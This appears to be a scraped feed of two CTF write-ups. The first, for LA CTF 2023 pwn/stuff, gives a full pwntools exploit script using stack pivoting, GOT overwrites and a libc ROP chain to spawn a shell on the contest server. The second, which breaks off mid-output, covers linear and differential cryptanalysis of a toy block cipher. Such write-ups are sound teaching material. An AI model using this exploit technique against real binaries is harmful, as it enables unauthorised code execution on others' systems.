&lt;+191&gt;: ret This does fread(rbp - 16, 1, 32, stdin). We have full control over rbp with the leave and pop rbp gadgets, so we can use these instructions to do arbitrary write. Aplet suggested overwriting the GOT entry of fread with the PLT address of printf, which would let us do arbitrary reads and writes. However, I didn&rsquo;t feel like doing format string exploitation, so I came up with another idea.\nIf we overwrite the GOT entry of fread with a pop rbp; ret gadget, then the call instruction essentially turns into a ret instruction: the pop rbp will pop off the return address pushed by the call, and then the ret will return to the next address on the stack. The value that was supposed to be the first argument of fread will now be left in rdi, so now we can control rdi. With rdi control, we can leak libc with puts.\nOne issue is that the leave; ret at the end of that sequence will mess up rsp and break our ROP chain. It pops the value 16 bytes after the first byte that we overwrote into rbp, and returns to the next value. Since our write is 32 bytes, we control the value that gets popped into rbp and the return address. Therefore, we can just stack pivot again with a leave; ret gadget.\nA second issue is that if we call any functions with rsp in the libc stdin buffer, the function will use the area before rsp as stack space and overwrite the data in the buffer that we want fread to read. To solve this, I put the ROP chain 2048 bytes after the start of the buffer so that data at the beginning of the buffer won&rsquo;t get overwritten.\nAfter we overwrite the GOT entry for a function like fread or puts, we can no longer call the function by jumping to its PLT entry since that would jump to the overwritten address in the GOT. Instead, we can jump to the second instruction in the PLT entry, which will lead to code that will look up the correct address of the function and jump there. This will also restore the GOT entry, which is a problem for fread since it would break our gadget for setting rdi. I was able to solve this later by overwriting the fread GOT entry back to the pop rbp; ret gadget every time I called fread this way.\nThe solve script so far looks like this:\nfrom pwn import * exe = ELF(&#34;.\/stuff&#34;) libc = ELF(&#34;.\/libc.so.6&#34;) context.binary = exe # r = process([exe.path]) # r = gdb.debug([exe.path]) r = remote(&#34;lac.tf&#34;, 31182) # Get heap leak r.sendlineafter(b&#34;stuff\\n&#34;, b&#34;1&#34;) r.recvuntil(b&#34;leak: &#34;) leak = int(r.recvline(keepends=False), 0) log.info(f&#34;{hex(leak)=}&#34;) # Address of libc stdin buffer buffer_addr = leak - 0x1010 log.info(f&#34;{hex(buffer_addr)=}&#34;) # Instructions before the call to fread at the end of main, used to overwrite GOT and control rdi fread_gadget = 0x40120F # Instructions before the call to scanf, used to control rsi after scanf GOT is overwritten rsi_gadget = 0x4011B0 # Instructions at the end of the loop before the jump back to puts, used to control eax after puts GOT is overwritten eax_gadget = 0x401207 # Instruction before the call to fread that moves rax to rdi rax_to_rdi_gadget = 0x401227 # Number of bytes from the start of the libc input buffer to the second half of the payload # The gap in the middle is stack space for the functions rop3_offset = 2048 # Overwrite GOT using the fread call at the end of main and pivot to rop3 rop1 = ROP(exe) rop1.raw(exe.got.setbuf + 16) # Set rbp with the leave instruction rop1.raw(fread_gadget) log.info(rop1.dump()) # This is the data that will be written to GOT starting with the entry for setbuf rop2 = ROP(exe) rop2.raw(b&#34;AAAAAAAA&#34;) # setbuf GOT rop2.raw(rop2.find_gadget([&#34;pop rbp&#34;, &#34;ret&#34;])) # fread GOT # Pivot to rop3 using the leave; ret at the end of main rop2.raw(buffer_addr + rop3_offset) # rbp rop2.raw(rop2.find_gadget([&#34;leave&#34;, &#34;ret&#34;])) log.info(rop2.dump()) # fread GOT has been overwritten with a pop rbp gadget, which will pop the return address pushed by the call and return # So the call to fread now acts like a ret instruction and the instructions before it can be used to control rdi rop3 = ROP(exe) # Leak libc by calling puts rop3.raw(exe.got.puts + 16) # rbp # Set rdi with the instructions before the fread call rop3.raw(fread_gadget) # Since the puts GOT has been overwritten, we call it by jumping to the second instruction in the puts PLT rop3.raw(exe.plt.puts + 6) I originally pivoted to the input buffer before calling fread, but after seeing other people&rsquo;s solutions I realized that I can just go directly to fread and pivot to the buffer when it returns.\nReading the libc ROP Chain Now that we have a libc leak, we just need to read in the last part of the ROP chain that uses gadgets from libc to spawn a shell. The problem is that we only have 32-byte reads and we just filled the input buffer with more than 2048 bytes of junk. We need to discard all of that junk by doing a read with more than 2048 bytes, otherwise fread will read the data that&rsquo;s already in the buffer instead of requesting more data from the OS.\nIf we can control rsi, then we can get fread to read as many bytes as we want, since the second argument for fread is the size of each of the chunks to read. I thought that maybe we can reuse the trick where we overwrite the GOT of some function with pop rbp; ret to turn a call instruction into a ret instruction. I looked at the other function calls in main and found this:\n0x00000000004011b0 &lt;+58&gt;:\tlea rax,[rbp-0x4] 0x00000000004011b4 &lt;+62&gt;:\tmov rsi,rax 0x00000000004011b7 &lt;+65&gt;:\tmov edi,0x40202a 0x00000000004011bc &lt;+70&gt;:\tmov eax,0x0 0x00000000004011c1 &lt;+75&gt;:\tcall 0x401040 &lt;__isoc99_scanf@plt&gt; If we overwrite the GOT of __isoc99_scanf with pop rbp; ret, we can use these instructions to move rbp - 0x4 into rsi. However, these instructions clobber rdi, and the instructions before the call to fread that we use to set rdi clobber rsi, so we can set either rdi and rsi but not both. I saw that there is a mov rdi, rax gadget right before the call to fread, so if we can set rax without clobbering rsi, then we can set rsi, put the value that we want for rdi into rax, and finally move rax into rdi.\nWe can set rax by using the overwriting GOT with pop rbp; ret trick a third time with these instructions:\n0x0000000000401192 &lt;+28&gt;:\tmov edi,0x402010 0x0000000000401197 &lt;+33&gt;:\tcall 0x401080 &lt;puts@plt&gt; ... 0x0000000000401207 &lt;+145&gt;:\tmov eax,DWORD PTR [rbp-0x4] 0x000000000040120a &lt;+148&gt;:\tcmp eax,0x2 0x000000000040120d &lt;+151&gt;:\tjne 0x401192 &lt;main+28&gt; If we overwrite the puts GOT with pop rbp; ret, then we can jump to 0x401207, and that will move [rbp - 0x4] into eax. As long as the value is not 2, it will jump to 0x401192 and the call to puts will act like a ret.\nWe now have all of the pieces that we need for the exploit. After overwriting the fread GOT and leaking libc, we can overwrite the __isoc99_scanf and puts GOT. Then we can use the instructions before the fread call to set rcx and rdx, use the instructions before the scanf call to set rsi, use the instructions before the puts call to set eax, move rax to rdi, and finally call fread to read in the last part of the ROP chain.\nThe script to do that looks like this:\n# Overwrite GOT again with fread # Since we overwrote fread GOT earlier, we don&#39;t have to stack pivot again # So we can also overwrite puts GOT with a pop rbp gadget # The data that will be written is in rop4 below rop3(rbp=exe.got.setbuf + 16) rop3.raw(fread_gadget) rop3.raw(exe.plt.fread + 6) # Overwrite GOT one last time to overwrite the scanf entry with a pop rbp gadget # The data that will be written is in rop5 rop3(rbp=exe.got.__isoc99_scanf + 16) rop3.raw(fread_gadget) rop3.raw(exe.plt.fread + 6) # fread, puts, and scanf are now all overwritten with pop rbp # We now have control over both rdi and rsi # Call fread with the item size set to 67 to get rid of the junk in the libc stdin buffer and read the final ropchain # Set rdx and rcx rop3.raw(fread_gadget) # Set rsi with the instructions before the scanf call rop3(rbp=66 + 4) rop3.raw(rsi_gadget) # Set rdi to some heap address that we don&#39;t care about # We first set eax and then move the value to rdi to avoid clobbering rsi # Set eax with the instructions at the end of the loop # This is 4 + the address of the p32(leak) value at the end of the first half of the payload rop3(rbp=buffer_addr + 129 + 4) rop3.raw(eax_gadget) # Move the value from eax to rdi rop3.raw(rax_to_rdi_gadget) # Call fread rop3.raw(exe.plt.fread + 6) # Pivot to the final ropchain rop3(rbp=buffer_addr) rop3.raw(rop3.find_gadget([&#34;leave&#34;, &#34;ret&#34;])) log.info(rop3.dump()) # Data that will be written in the second GOT overwrite rop4 = ROP(exe) rop4.raw(b&#34;BBBBBBBB&#34;) rop4.raw(rop4.find_gadget([&#34;pop rbp&#34;, &#34;ret&#34;])) # fread GOT rop4.raw(rop4.find_gadget([&#34;pop rbp&#34;, &#34;ret&#34;])) # puts GOT rop4.raw(b&#34;CCCCCCCC&#34;) log.info(rop4.dump()) # Data that will be written in the third GOT overwrite rop5 = ROP(exe) rop5.raw(rop5.find_gadget([&#34;pop rbp&#34;, &#34;ret&#34;])) # scanf GOT rop5.raw(b&#34;DDDDDDDD&#34;) rop5.raw(b&#34;EEEEEEEE&#34;) rop5.raw(rop5.find_gadget([&#34;pop rbp&#34;, &#34;ret&#34;])) # fread GOT log.info(rop5.dump()) payload = b&#34;2&#34; payload += rop1.generatePadding(0, 16) payload += rop1.chain() # Data that will be written to GOT payload += rop2.chain() payload += rop4.chain() payload += rop5.chain() payload += p32(leak) # Value that will be loaded into eax in order to set rdi without clobbering rsi payload = payload.ljust(rop3_offset, b&#34;\\0&#34;) # Stack space for the functions that we call payload += rop3.chain() r.sendafter(b&#34;stuff\\n&#34;, payload) I set rsi to 66 when calling fread since 66 * 32 is a little bit bigger than the amount of stuff in the buffer that we need to discard. I set rdi to the leak address since we just need to write the junk to somewhere that we don&rsquo;t care about.\nFinally, we can build an execve ROP chain with the gadgets in libc and send it:\n# Get libc leak libc.address = int.from_bytes(r.recvline(keepends=False), &#34;little&#34;) - libc.symbols.puts log.info(f&#34;{hex(libc.address)=}&#34;) # Final ropchain utilizing libc rop6 = ROP([exe, libc]) rop6.raw(b&#34;bbbbbbbb&#34;) # rbp # Direct execve syscall rop6(rax=constants.SYS_execve, rdi=next(libc.search(b&#34;\/bin\/sh\\0&#34;)), rsi=0, rdx=0) rop6.raw(rop6.find_gadget([&#34;syscall&#34;])) log.info(rop6.dump()) r.send(rop6.chain()) r.interactive() Full solve script:\n#!\/usr\/bin\/env python3 # Overview: # Stack pivot to the libc stdin buffer # Use the fread call at the end of main to overwrite fread GOT with a pop rbp gadget # This makes the call to fread act like a ret instruction and gives us control over rdi # Leak libc with puts # Use fread to overwrite puts GOT with pop rbp # This can&#39;t be done in the first fread call since we have to pivot # Use fread to overwrite scanf GOT with pop rbp # Now we can control both rdi and rsi with various fragments of main # Call fread with a bigger size to get rid of junk in the libc input buffer and read the final ropchain # Pivot to the final ropchain and execve \/bin\/sh from pwn import * exe = ELF(&#34;.\/stuff&#34;) libc = ELF(&#34;.\/libc.so.6&#34;) context.binary = exe # r = process([exe.path]) # r = gdb.debug([exe.path]) r = remote(&#34;lac.tf&#34;, 31182) # Get heap leak r.sendlineafter(b&#34;stuff\\n&#34;, b&#34;1&#34;) r.recvuntil(b&#34;leak: &#34;) leak = int(r.recvline(keepends=False), 0) log.info(f&#34;{hex(leak)=}&#34;) # Address of libc stdin buffer buffer_addr = leak - 0x1010 log.info(f&#34;{hex(buffer_addr)=}&#34;) # Instructions before the call to fread at the end of main, used to overwrite GOT and control rdi fread_gadget = 0x40120F # Instructions before the call to scanf, used to control rsi after scanf GOT is overwritten rsi_gadget = 0x4011B0 # Instructions at the end of the loop before the jump back to puts, used to control eax after puts GOT is overwritten eax_gadget = 0x401207 # Instruction before the call to fread that moves rax to rdi rax_to_rdi_gadget = 0x401227 # Number of bytes from the start of the libc input buffer to the second half of the payload # The gap in the middle is stack space for the functions rop3_offset = 2048 # Overwrite GOT using the fread call at the end of main and pivot to rop3 rop1 = ROP(exe) rop1.raw(exe.got.setbuf + 16) # Set rbp with the leave instruction rop1.raw(fread_gadget) log.info(rop1.dump()) # This is the data that will be written to GOT starting with the entry for setbuf rop2 = ROP(exe) rop2.raw(b&#34;AAAAAAAA&#34;) # setbuf GOT rop2.raw(rop2.find_gadget([&#34;pop rbp&#34;, &#34;ret&#34;])) # fread GOT # Pivot to rop3 using the leave; ret at the end of main rop2.raw(buffer_addr + rop3_offset) # rbp rop2.raw(rop2.find_gadget([&#34;leave&#34;, &#34;ret&#34;])) log.info(rop2.dump()) # fread GOT has been overwritten with a pop rbp gadget, which will pop the return address pushed by the call and return # So the call to fread now acts like a ret instruction and the instructions before it can be used to control rdi rop3 = ROP(exe) # Leak libc by calling puts rop3.raw(exe.got.puts + 16) # rbp # Set rdi with the instructions before the fread call rop3.raw(fread_gadget) # Since the puts GOT has been overwritten, we call it by jumping to the second instruction in the puts PLT rop3.raw(exe.plt.puts + 6) # Overwrite GOT again with fread # Since we overwrote fread GOT earlier, we don&#39;t have to stack pivot again # So we can also overwrite puts GOT with a pop rbp gadget # The data that will be written is in rop4 below rop3(rbp=exe.got.setbuf + 16) rop3.raw(fread_gadget) rop3.raw(exe.plt.fread + 6) # Overwrite GOT one last time to overwrite the scanf entry with a pop rbp gadget # The data that will be written is in rop5 rop3(rbp=exe.got.__isoc99_scanf + 16) rop3.raw(fread_gadget) rop3.raw(exe.plt.fread + 6) # fread, puts, and scanf are now all overwritten with pop rbp # We now have control over both rdi and rsi # Call fread with the item size set to 67 to get rid of the junk in the libc stdin buffer and read the final ropchain # Set rdx and rcx rop3.raw(fread_gadget) # Set rsi with the instructions before the scanf call rop3(rbp=66 + 4) rop3.raw(rsi_gadget) # Set rdi to some heap address that we don&#39;t care about # We first set eax and then move the value to rdi to avoid clobbering rsi # Set eax with the instructions at the end of the loop # This is 4 + the address of the p32(leak) value at the end of the first half of the payload rop3(rbp=buffer_addr + 129 + 4) rop3.raw(eax_gadget) # Move the value from eax to rdi rop3.raw(rax_to_rdi_gadget) # Call fread rop3.raw(exe.plt.fread + 6) # Pivot to the final ropchain rop3(rbp=buffer_addr) rop3.raw(rop3.find_gadget([&#34;leave&#34;, &#34;ret&#34;])) log.info(rop3.dump()) # Data that will be written in the second GOT overwrite rop4 = ROP(exe) rop4.raw(b&#34;BBBBBBBB&#34;) rop4.raw(rop4.find_gadget([&#34;pop rbp&#34;, &#34;ret&#34;])) # fread GOT rop4.raw(rop4.find_gadget([&#34;pop rbp&#34;, &#34;ret&#34;])) # puts GOT rop4.raw(b&#34;CCCCCCCC&#34;) log.info(rop4.dump()) # Data that will be written in the third GOT overwrite rop5 = ROP(exe) rop5.raw(rop5.find_gadget([&#34;pop rbp&#34;, &#34;ret&#34;])) # scanf GOT rop5.raw(b&#34;DDDDDDDD&#34;) rop5.raw(b&#34;EEEEEEEE&#34;) rop5.raw(rop5.find_gadget([&#34;pop rbp&#34;, &#34;ret&#34;])) # fread GOT log.info(rop5.dump()) payload = b&#34;2&#34; payload += rop1.generatePadding(0, 16) payload += rop1.chain() # Data that will be written to GOT payload += rop2.chain() payload += rop4.chain() payload += rop5.chain() payload += p32(leak) # Value that will be loaded into eax in order to set rdi without clobbering rsi payload = payload.ljust(rop3_offset, b&#34;\\0&#34;) # Stack space for the functions that we call payload += rop3.chain() r.sendafter(b&#34;stuff\\n&#34;, payload) # Get libc leak libc.address = int.from_bytes(r.recvline(keepends=False), &#34;little&#34;) - libc.symbols.puts log.info(f&#34;{hex(libc.address)=}&#34;) # Final ropchain utilizing libc rop6 = ROP([exe, libc]) rop6.raw(b&#34;bbbbbbbb&#34;) # rbp # Direct execve syscall rop6(rax=constants.SYS_execve, rdi=next(libc.search(b&#34;\/bin\/sh\\0&#34;)), rsi=0, rdx=0) rop6.raw(rop6.find_gadget([&#34;syscall&#34;])) log.info(rop6.dump()) r.send(rop6.chain()) r.interactive() Output:\n[ctf@fedora-ctf stuff]$ .\/solve.py [*] &apos;\/home\/ctf\/lactf-archive\/2023\/pwn\/stuff\/stuff&apos; Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] &apos;\/home\/ctf\/lactf-archive\/2023\/pwn\/stuff\/libc.so.6&apos; Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to lac.tf on port 31182: Done [*] hex(leak)=&apos;0x1cc6ec0&apos; [*] hex(buffer_addr)=&apos;0x1cc5eb0&apos; [*] Loading gadgets for &apos;\/home\/ctf\/lactf-archive\/2023\/pwn\/stuff\/stuff&apos; [*] 0x0000: 0x404040 got.puts 0x0008: 0x40120f [*] Loaded 5 cached gadgets for &apos;.\/stuff&apos; [*] 0x0000: b&apos;AAAAAAAA&apos; b&apos;AAAAAAAA&apos; 0x0008: 0x40115d pop rbp; ret 0x0010: 0x1cc66b0 0x0018: 0x401234 leave; ret [*] 0x0000: 0x404050 stdout 0x0008: 0x40120f 0x0010: 0x401086 0x0018: 0x40115d pop rbp; ret 0x0020: 0x404040 got.puts 0x0028: 0x40120f 0x0030: 0x401076 0x0038: 0x40115d pop rbp; ret 0x0040: 0x404030 got.setbuf 0x0048: 0x40120f 0x0050: 0x401076 0x0058: 0x40120f 0x0060: 0x40115d pop rbp; ret 0x0068: 0x46 0x0070: 0x4011b0 0x0078: 0x40115d pop rbp; ret 0x0080: 0x1cc5f35 0x0088: 0x401207 0x0090: 0x401227 0x0098: 0x401076 0x00a0: 0x40115d pop rbp; ret 0x00a8: 0x1cc5eb0 0x00b0: 0x401234 leave; ret [*] 0x0000: b&apos;BBBBBBBB&apos; b&apos;BBBBBBBB&apos; 0x0008: 0x40115d pop rbp; ret 0x0010: 0x40115d pop rbp; ret 0x0018: b&apos;CCCCCCCC&apos; b&apos;CCCCCCCC&apos; [*] 0x0000: 0x40115d pop rbp; ret 0x0008: b&apos;DDDDDDDD&apos; b&apos;DDDDDDDD&apos; 0x0010: b&apos;EEEEEEEE&apos; b&apos;EEEEEEEE&apos; 0x0018: 0x40115d pop rbp; ret [*] hex(libc.address)=&apos;0x7f8d67143000&apos; [*] Loading gadgets for &apos;\/home\/ctf\/lactf-archive\/2023\/pwn\/stuff\/libc.so.6&apos; [*] 0x0000: b&apos;bbbbbbbb&apos; b&apos;bbbbbbbb&apos; 0x0008: 0x7f8d671ca0c8 pop rax; pop rdx; pop rbx; ret 0x0010: 0x3b SYS_execve 0x0018: 0x0 0x0020: b&apos;iaaajaaa&apos; &lt;pad rbx&gt; 0x0028: 0x7f8d6716c3d1 pop rsi; ret 0x0030: 0x0 0x0038: 0x7f8d6716aab5 pop rdi; ret 0x0040: 0x7f8d672da031 0x0048: 0x7f8d671697b2 syscall [*] Switching to interactive mode $ ls flag.txt run $ cat flag.txt lactf{old_gcc_hands_out_too_many_free_gadgets_smh} ","permalink":"https:\/\/www.alexyzhang.dev\/write-ups\/lactf-2023\/stuff\/","summary":"Ropping without useful gadgets","title":"LA CTF 2023 \u2013 pwn\/stuff"},{"content":"In this crypto challenge, we are given a binary which implements some sort of cipher. It will give us the ciphertext for any plaintext block that we send and we have to decrypt a ciphertext encrypted using CBC mode in order to get the flag.\nReverse Engineering Aplet123 reverse-engineered the binary and manually decompiled it to Python:\ndef xor(a, b): for i in range(4): a[i] ^= b[i] sbox = [32, 1, 82, 147, 4, 165, 198, 95, 56, 9, 138, 59, 12, 93, 142, 55, 8, 33, 42, 203, 100, 77, 230, 103, 136, 41, 162, 131, 44, 101, 46, 7, 176, 25, 114, 3, 28, 37, 30, 79, 0, 113, 98, 171, 20, 125, 118, 111, 40, 169, 26, 91, 196, 69, 150, 15, 48, 145, 18, 99, 156, 117, 166, 71, 16, 97, 90, 19, 140, 29, 78, 63, 160, 185, 74, 51, 148, 45, 126, 151, 88, 225, 170, 11, 84, 53, 22, 87, 224, 153, 218, 43, 52, 197, 94, 47, 168, 161, 34, 227, 76, 141, 174, 23, 128, 49, 154, 67, 60, 205, 70, 31, 120, 249, 66, 155, 236, 181, 62, 143, 152, 57, 2, 219, 36, 157, 54, 223, 112, 241, 146, 179, 68, 21, 6, 39, 72, 209, 122, 187, 252, 5, 214, 199, 144, 129, 130, 107, 180, 237, 246, 119, 24, 105, 106, 83, 220, 13, 158, 239, 104, 73, 250, 115, 164, 85, 110, 135, 208, 89, 50, 139, 108, 173, 14, 215, 184, 81, 234, 35, 92, 149, 238, 127, 64, 17, 178, 243, 228, 253, 86, 159, 240, 233, 226, 235, 116, 245, 102, 183, 232, 177, 194, 251, 124, 61, 190, 191, 216, 137, 58, 123, 132, 229, 134, 247, 192, 65, 210, 163, 172, 189, 38, 231, 200, 193, 10, 195, 244, 133, 222, 167, 96, 201, 186, 211, 204, 213, 182, 207, 80, 217, 202, 27, 188, 109, 206, 255, 248, 121, 242, 75, 212, 221, 254, 175] def sub(a): for i in range(4): a[i] = sbox[a[i]] permutation = [0, 4, 8, 12, 16, 20, 24, 28, 1, 5, 9, 13, 17, 21, 25, 29, 2, 6, 10, 14, 18, 22, 26, 30, 3, 7, 11, 15, 19, 23, 27, 31] def shuffle_bits(a): n = int.from_bytes(a, &#34;big&#34;) shuf = 0 for i in range(32): shuf |= ((n &gt;&gt; i) &amp; 1) &lt;&lt; permutation[i] r = int.to_bytes(shuf, 4, &#34;big&#34;) for i in range(4): a[i] = r[i] def encrypt_block(ct): for i in range(3): xor(ct, key[i]) sub(ct) shuffle_bits(ct) xor(ct, key[3]) sub(ct) xor(ct, key[4]) return ct # the actual program uses \/dev\/urandom but I want fixed randomness for now keyfile = open(&#34;.\/key&#34;, &#34;rb&#34;) # 5 rows of 4 ints each key = [[keyfile.read(1)[0] for _ in range(4)] for _ in range(5)] while True: cmd = int(input(&#34;cmd = &#34;)) if cmd == 3: print(&#34;Goodbye&#34;) break elif cmd == 2: iv = keyfile.read(4) pt = keyfile.read(32) ct = [bytearray([0] * 4) for _ in range(8)] # 8 blocks of 4 bytes xor(ct[0], pt[0:4]) xor(ct[0], iv) encrypt_block(ct[0]) for i in range(1, 8): xor(ct[i], pt[i * 4:i * 4 + 4]) xor(ct[i], ct[i - 1]) encrypt_block(ct[i]) print(&#34;iv = &#34; + iv.hex()) print(&#34;ct = &#34; + &#34;&#34;.join(x.hex() for x in ct)) inp = bytes.fromhex(input(&#34;pt = &#34;)) assert len(inp) == 32 if inp != pt: print(&#34;Incorrect plaintext&#34;) else: print(&#34;flag{placeholder_flag}&#34;) elif cmd == 1: pt = bytearray.fromhex(input(&#34;pt = &#34;)) assert len(pt) == 4 ct = encrypt_block(pt) print(&#34;ct = &#34; + ct.hex()) else: print(&#34;Invalid command&#34;) break The code implements a substitution-permutation network block cipher with four rounds and a block size of 32 bits. The key is 160 bits long and it&rsquo;s just the five round keys concatenated together.\nCryptanalysis I had no experience with attacking block ciphers, but I had previously heard about linear and differential cryptanalysis. After some searching, I found a paper with a tutorial on using these techniques to attack a substitution-permutation network, and I learned differential and linear cryptanalysis just for this challenge. I initially tried differential cryptanalysis and I analyzed the sbox with this script:\n#!\/usr\/bin\/env python3 import matplotlib.pyplot as plt import numpy as np sbox = [32, 1, 82, 147, 4, 165, 198, 95, 56, 9, 138, 59, 12, 93, 142, 55, 8, 33, 42, 203, 100, 77, 230, 103, 136, 41, 162, 131, 44, 101, 46, 7, 176, 25, 114, 3, 28, 37, 30, 79, 0, 113, 98, 171, 20, 125, 118, 111, 40, 169, 26, 91, 196, 69, 150, 15, 48, 145, 18, 99, 156, 117, 166, 71, 16, 97, 90, 19, 140, 29, 78, 63, 160, 185, 74, 51, 148, 45, 126, 151, 88, 225, 170, 11, 84, 53, 22, 87, 224, 153, 218, 43, 52, 197, 94, 47, 168, 161, 34, 227, 76, 141, 174, 23, 128, 49, 154, 67, 60, 205, 70, 31, 120, 249, 66, 155, 236, 181, 62, 143, 152, 57, 2, 219, 36, 157, 54, 223, 112, 241, 146, 179, 68, 21, 6, 39, 72, 209, 122, 187, 252, 5, 214, 199, 144, 129, 130, 107, 180, 237, 246, 119, 24, 105, 106, 83, 220, 13, 158, 239, 104, 73, 250, 115, 164, 85, 110, 135, 208, 89, 50, 139, 108, 173, 14, 215, 184, 81, 234, 35, 92, 149, 238, 127, 64, 17, 178, 243, 228, 253, 86, 159, 240, 233, 226, 235, 116, 245, 102, 183, 232, 177, 194, 251, 124, 61, 190, 191, 216, 137, 58, 123, 132, 229, 134, 247, 192, 65, 210, 163, 172, 189, 38, 231, 200, 193, 10, 195, 244, 133, 222, 167, 96, 201, 186, 211, 204, 213, 182, 207, 80, 217, 202, 27, 188, 109, 206, 255, 248, 121, 242, 75, 212, 221, 254, 175] # fmt: skip probs = np.zeros((256, 256), dtype=np.int32) for dx in range(256): for x1 in range(256): x2 = x1 ^ dx y1, y2 = sbox[x1], sbox[x2] dy = y1 ^ y2 probs[dx][dy] += 1 probs = probs \/ 256 l = [(probs[i, j], (i, j)) for i in range(256) for j in range(256)] l.sort(reverse=True) for t in l[:100]: print(f&#34;{t[0]} ({t[1][0]:08b}, {t[1][1]:08b})&#34;) plt.imshow(probs, vmin=0, vmax=0.1) plt.show() The script computes the probability of all differential pairs, visualizes them, and prints the pairs with the highest probabilities. The visualization looks like this:\nThere is a clear diagonal pattern which is suspicious. On closer examination, I saw that the all of the nonzero pixels were on diagonal lines that were 8 pixels apart. This made me realize that the sbox does not change the last three bits.\nI decided to switch to linear cryptanalysis, since I thought that could better take advantage of this flaw in the sbox and I modified the analysis script to find linear approximations with high bias:\nfor mx in range(256): for my in range(256): for x in range(256): y = sbox[x] if not ((x &amp; mx).bit_count() + (y &amp; my).bit_count()) &amp; 1: probs[mx][my] += 1 probs = np.abs(probs \/ 256 - 0.5) The output looks like this after some editing:\n0.5 (00000111, 00000111) 0.5 (00000110, 00000110) 0.5 (00000101, 00000101) 0.5 (00000100, 00000100) 0.5 (00000011, 00000011) 0.5 (00000010, 00000010) 0.5 (00000001, 00000001) 0.5 (00000000, 00000000) 0.140625 (10000111, 10000111) 0.140625 (10000110, 10000110) 0.140625 (10000101, 10000101) 0.140625 (10000100, 10000100) 0.140625 (10000011, 10000011) 0.140625 (10000010, 10000010) 0.140625 (10000001, 10000001) 0.140625 (10000000, 10000000) 0.1328125 (10000111, 01000111) 0.1328125 (10000110, 01000110) 0.1328125 (10000101, 01000101) 0.1328125 (10000100, 01000100) 0.1328125 (10000011, 01000011) 0.1328125 (10000010, 01000010) 0.1328125 (10000001, 01000001) 0.1328125 (10000000, 01000000) 0.1171875 (01001111, 10011010) 0.1171875 (01001110, 10011011) 0.1171875 (01001101, 10011000) 0.1171875 (01001100, 10011001) 0.1171875 (01001011, 10011110) 0.1171875 (01001010, 10011111) 0.1171875 (01001001, 10011100) 0.1171875 (01001000, 10011101) 0.1171875 (00011111, 11111010) 0.1171875 (00011110, 11111011) 0.1171875 (00011101, 11111000) 0.1171875 (00011100, 11111001) 0.1171875 (00011011, 11111110) 0.1171875 (00011010, 11111111) 0.1171875 (00011001, 11111100) 0.1171875 (00011000, 11111101) 0.109375 (01101111, 10010000) 0.109375 (01101110, 10010001) 0.109375 (01101101, 10010010) 0.109375 (01101100, 10010011) 0.109375 (01101011, 10010100) 0.109375 (01101010, 10010101) 0.109375 (01101001, 10010110) 0.109375 (01101000, 10010111) 0.109375 (01100111, 11101011) 0.109375 (01100110, 11101010) 0.109375 (01100101, 11101001) 0.109375 (01100100, 11101000) 0.109375 (01100011, 11101111) 0.109375 (01100010, 11101110) 0.109375 (01100001, 11101101) 0.109375 (01100000, 11101100) 0.109375 (00110111, 00010111) 0.109375 (00110110, 00010110) 0.109375 (00110101, 00010101) 0.109375 (00110100, 00010100) 0.109375 (00110011, 00010011) 0.109375 (00110010, 00010010) 0.109375 (00110001, 00010001) 0.109375 (00110000, 00010000) 0.109375 (00100111, 11001100) 0.109375 (00100110, 11001101) 0.109375 (00100101, 11001110) 0.109375 (00100100, 11001111) 0.109375 (00100011, 11001000) 0.109375 (00100010, 11001001) 0.109375 (00100001, 11001010) 0.109375 (00100000, 11001011) 0.1015625 (11110111, 10110101) 0.1015625 (11110110, 10110100) 0.1015625 (11110101, 10110111) 0.1015625 (11110100, 10110110) 0.1015625 (11110011, 10110001) 0.1015625 (11110010, 10110000) 0.1015625 (11110001, 10110011) 0.1015625 (11110000, 10110010) 0.1015625 (11100111, 00010110) 0.1015625 (11100110, 00010111) 0.1015625 (11100101, 00010100) 0.1015625 (11100100, 00010101) 0.1015625 (11100011, 00010010) 0.1015625 (11100010, 00010011) 0.1015625 (11100001, 00010000) 0.1015625 (11100000, 00010001) 0.1015625 (11010111, 11010111) 0.1015625 (11010110, 11010110) 0.1015625 (11010101, 11010101) 0.1015625 (11010100, 11010100) 0.1015625 (11010011, 11010011) 0.1015625 (11010010, 11010010) 0.1015625 (11010001, 11010001) 0.1015625 (11010000, 11010000) 0.1015625 (11000111, 11110100) 0.1015625 (11000110, 11110101) 0.1015625 (11000101, 11110110) 0.1015625 (11000100, 11110111) 0.1015625 (11000011, 11110000) 0.1015625 (11000010, 11110001) 0.1015625 (11000001, 11110010) 0.1015625 (11000000, 11110011) 0.1015625 (10110111, 10100100) 0.1015625 (10110111, 10000011) 0.1015625 (10110110, 10100101) 0.1015625 (10110110, 10000010) 0.1015625 (10110101, 10100110) 0.1015625 (10110101, 10000001) 0.1015625 (10110100, 10100111) 0.1015625 (10110100, 10000000) 0.1015625 (10110011, 10100000) 0.1015625 (10110011, 10000111) 0.1015625 (10110010, 10100001) 0.1015625 (10110010, 10000110) 0.1015625 (10110001, 10100010) 0.1015625 (10110001, 10000101) 0.1015625 (10110000, 10100011) 0.1015625 (10110000, 10000100) 0.1015625 (10101111, 11001110) 0.1015625 (10101110, 11001111) 0.1015625 (10101101, 11001100) 0.1015625 (10101100, 11001101) 0.1015625 (10101011, 11001010) 0.1015625 (10101010, 11001011) 0.1015625 (10101001, 11001000) 0.1015625 (10101000, 11001001) 0.1015625 (10010111, 00001011) 0.1015625 (10010110, 00001010) 0.1015625 (10010101, 00001001) 0.1015625 (10010100, 00001000) 0.1015625 (10010011, 00001111) 0.1015625 (10010010, 00001110) 0.1015625 (10010001, 00001101) 0.1015625 (10010000, 00001100) 0.1015625 (10000111, 01110100) 0.1015625 (10000110, 01110101) 0.1015625 (10000101, 01110110) 0.1015625 (10000100, 01110111) 0.1015625 (10000011, 01110000) 0.1015625 (10000010, 01110001) 0.1015625 (10000001, 01110010) 0.1015625 (10000000, 01110011) 0.1015625 (01010111, 10110011) 0.1015625 (01010110, 10110010) 0.1015625 (01010101, 10110001) 0.1015625 (01010100, 10110000) 0.1015625 (01010011, 10110111) 0.1015625 (01010010, 10110110) 0.1015625 (01010001, 10110101) 0.1015625 (01010000, 10110100) 0.1015625 (01000111, 10000111) 0.1015625 (01000110, 10000110) 0.1015625 (01000101, 10000101) 0.1015625 (01000100, 10000100) 0.1015625 (01000011, 10000011) 0.1015625 (01000010, 10000010) 0.1015625 (01000001, 10000001) 0.1015625 (01000000, 10000000) 0.1015625 (00101111, 00001111) 0.1015625 